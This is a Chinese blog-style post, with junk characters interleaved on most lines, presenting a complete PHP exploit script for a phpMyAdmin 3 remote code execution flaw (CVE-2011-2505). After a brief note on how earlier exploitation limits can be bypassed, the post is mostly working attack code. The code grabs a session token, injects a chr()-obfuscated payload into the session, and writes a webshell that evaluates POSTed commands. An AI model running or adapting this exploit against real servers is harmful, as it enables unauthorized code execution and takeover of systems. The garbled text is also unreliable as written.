最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。
3 W- f, Z) d: d" G; q! `+ ?8 R+ e1 E$ g8 o4 L- ^
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。6 E( b- D8 l( i$ u
: D* h. b; h1 D
首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
$ N. ]7 Z) k5 z- p. Z一是session.auto_start = 1;, s6 }) P" z: X# k. N6 K+ T
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。* R; L) ~) l% [7 h2 y
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
* x" T8 F" V! [: c3 @( \. G3 a! D1 e
" ~( C+ t: [; d' a X2 {在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
) V) @0 G: ^, S8 k' c- P
. N" v0 X4 `8 A3 F2 U0 m4 e( l+ h( e于是写了这个php版本的exp,代码如下:( O0 q6 A+ i& G+ j7 A
- N' p" r% _* u6 O, P; t9 L6 W
#!/usr/bin/php s8 E9 X5 q+ ?
<?php9 r a& Q$ H" j# [! k# u4 I* I
print_r('& l) p- L" C9 N# W( X+ S
+---------------------------------------------------------------------------+# M. x: o: a. M' ?3 X% Z, W/ \
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]8 G7 q, b( Q5 x
by oldjun(www.oldjun.com)
& S Z" {9 [+ [' a+ nwelcome to www.t00ls.net% U+ C+ M# y4 L5 ]. q3 U$ i6 _
mail: oldjun@gmail.com
' Z" u1 h( [9 I2 X% B, R, h# m2 \0 QAssigned CVE id: CVE-2011-2505
6 j2 Z8 T* K. h* W0 z7 `, G+---------------------------------------------------------------------------+
; K# w6 ~ A8 }! z');2 }& w; G$ M( E6 |, d3 y
8 T8 Y( H7 l# ]4 z' r* T9 E
/**$ G3 a! r, e) [ A
* working when the directory:"config" exists and is writeable.
( C9 H+ Z: o* {1 V" `# }8 ~: h**/
^* _; X: O0 T7 n- ^
' B1 E* C) Q1 N( M% e! f9 fif ($argc < 3) {
+ n5 t7 B% Q; y' S print_r('
# `& Q1 k) K/ R9 }2 q+---------------------------------------------------------------------------+
7 R0 I' M& X- n4 R1 h5 f* FUsage: php '.$argv[0].' host path" y/ i' z5 g+ g/ O. w( q1 p+ b
host: target server (ip/hostname)1 R% [. g# x$ |7 a3 S
path: path to pma3
3 O$ ?7 f3 H; XExample:* L, h6 c' l/ r. n
php '.$argv[0].' localhost /pma/
! ]. I" N3 r4 ~7 m" |$ h+---------------------------------------------------------------------------+% L5 d& V/ E) \ f% z
');6 O' g: o, p3 R" N3 C5 s
exit;
( w0 @: E) g$ m2 t( b0 r- g- A}
3 E6 a7 P' I+ W. ^+ [0 W1 v! j8 d4 B8 A, ~* E' S" U
$host = $argv[1];
, r; _3 A" @7 i2 `, C( D$path = $argv[2];
( c, f. V7 H. D1 y, y; H% L; n! d; c( r; n) H9 T
/**2 a1 h+ i9 r5 M# Q% S$ C( e
* Try to determine if the directory:"config" exists
7 S+ E# k- G; n% [7 d6 e( y7 P**/
T# ^7 x: I! l, h8 M7 n4 q$ I+ vecho "[+] Try to determine if the directory:config exists....\n";
; f( R, ]/ U/ x) e& |1 R$returnstr=php_request('config/');6 W8 {- `. N6 o2 j- ]7 v
if(strpos($returnstr,'404')){
2 Q8 Q9 S. g- p exit("[-] Exploit Failed! The directory:config do not exists!\n");8 L Z1 d/ }: p6 y
}
, [' H4 X+ O2 w+ \8 A+ m: [0 N. s" p
/**
1 N, [* l i6 w8 l$ m * Try to get token and sessionid
7 G, U1 r8 A$ p3 N! @: x$ s**/( q/ z! X5 ~1 V: R7 C
echo "[+] Try to get token and sessionid....\n";. p0 U- Y6 W4 k
$result=php_request('index.php');, m7 S2 B, ? s: n( x7 Z/ X$ B
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
Q4 f0 m. D! \. C7 V$token=$resp[3];
3 I' q2 Q) a; S3 Q! S- `! }4 D9 B5 `$sessionid=$resp[1];3 \$ I0 t# \- r, S' h
if($token && $sessionid){
( T: g% p# {* S$ x echo "[+] token token\n";4 V9 w1 u' n8 u+ g- P: ?5 H
echo "[+] Session ID sessionid\n";9 f/ }9 f# @- M% f9 ?! n
}else{/ w/ k( a9 o9 i: g
exit("[-] Can't get token and Session ID,Exploit Failed!\n");1 [# A6 f% O3 h; D" f
}1 F: C7 `6 a0 k3 _5 b6 e5 i$ s
' j5 N. b; T; l) H/**
5 z) n8 ~+ e! x( j& ]) ?/ ]/ c6 @ * Try to insert shell into session
8 i7 X1 E5 ^3 ^# @$ R: ~" [**/: P) z8 m2 E4 L
echo "[+] Try to insert shell into session....\n";" i$ K* Z/ u$ E+ A, [2 ]" V
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
: E6 e. v D2 A' z' F4 ?) f$ z( z& ?! F8 s" a0 C$ ]
/**
6 t& j* {+ V9 W/ {6 ~! C, N * Try to create webshell
# B6 _- e! U, Y$ P1 Z" X) B+ \**/
* C9 k7 M9 v0 V$ {3 Xecho "[+] Try to create webshell....\n";
8 G' L9 `9 Z p1 J, h. rphp_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
% I. a$ |. A( X/**
' R7 t; c7 w/ K * Try to check if the webshell was created successfully
$ C- b0 s3 A9 n) h) q( n' f* Z**/# H% Y! q6 R5 n
echo "[+] Try to check if the webshell was created successfully....\n";& s+ z4 M6 J3 b& [, T D9 W. T
$content=php_request('config/config.inc.php');
) v% ~/ o) k+ N% E1 bif(strpos($content,'t00ls')){, _3 @* w1 e4 S8 H+ j4 S5 h+ o
echo "[+] Congratulations! Expoilt successfully....\n";- [( M: `. |! _4 a
echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
" ~" J E/ c9 O. e7 K/ P% ~}else{
" f0 q" ]0 {* W. N) i+ v% s exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
- y, O0 e( Q2 |0 s) T$ @9 o}
" h& L8 X3 p8 y4 E2 T. e5 s" s# m' Q+ C
function php_request($url,$data='',$cookie=''){
2 \8 R: H7 D/ D# O k; R$ M global $host, $path;
4 r+ O( U3 m. Z8 O) W& u, O / F4 e2 l2 t- J4 |5 @5 s
$method=$data?'POST':'GET';
, A! U5 c! @1 O* M _
# x5 u0 e! m! P* F1 A, P& m $packet = $method." ".$path.$url." HTTP/1.1\r\n";
9 t) |7 t5 v" u7 U1 z) e% ? $packet .= "Accept: */*\r\n";
9 G$ s" R& b+ v5 c $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
. E2 ^, h. x& R$ E9 T $packet .= "Host: $host\r\n";
' @7 X8 q' J% Z! w+ W" t1 \ $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
8 z) U! i4 P0 ? z0 a% | $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
( ~8 D$ ]& r8 H0 _! } $packet .= $cookie?"Cookie: $cookie\r\n":"";; ?/ L l) `# s. y% _. w
$packet .= "Connection: Close\r\n\r\n";5 s: F; Y; q: q1 M j" v
$packet .= $data?$data:"";& J. {9 q# u" ] h; A$ y
; B9 u# Q( P. a$ N
$fp = fsockopen(gethostbyname($host), 80);$ I) |$ t* X! ~2 Z: Z, x" j
if (!$fp) {4 S! k' U% P+ m' z y9 @
echo 'No response from '.$host; die;
% D L% W# `7 _) }* X }
0 T( u. {7 ]$ r; Y7 Z3 | fputs($fp, $packet);
$ C4 F1 w$ m+ T9 e. Y7 q- t- B7 U }/ [ t0 |8 V! J3 t
$resp = '';
w# {( s0 j9 q: [6 G) N; f( n7 O9 q' ~( e( e4 ^
while ($fp && !feof($fp))( E7 M9 d" t" ?6 S* H. i
$resp .= fread($fp, 1024);) T% v9 t0 e+ P$ f. x5 X/ n
9 g4 v2 S9 y) _" k
return $resp;
+ Y6 F( A8 u, Q4 L4 H}
6 t- l8 N% W; ]' Y
& P3 ]6 J ?- ]/ K5 g?>
9 o; A# ^, Q$ m7 L+ N, J4 I. |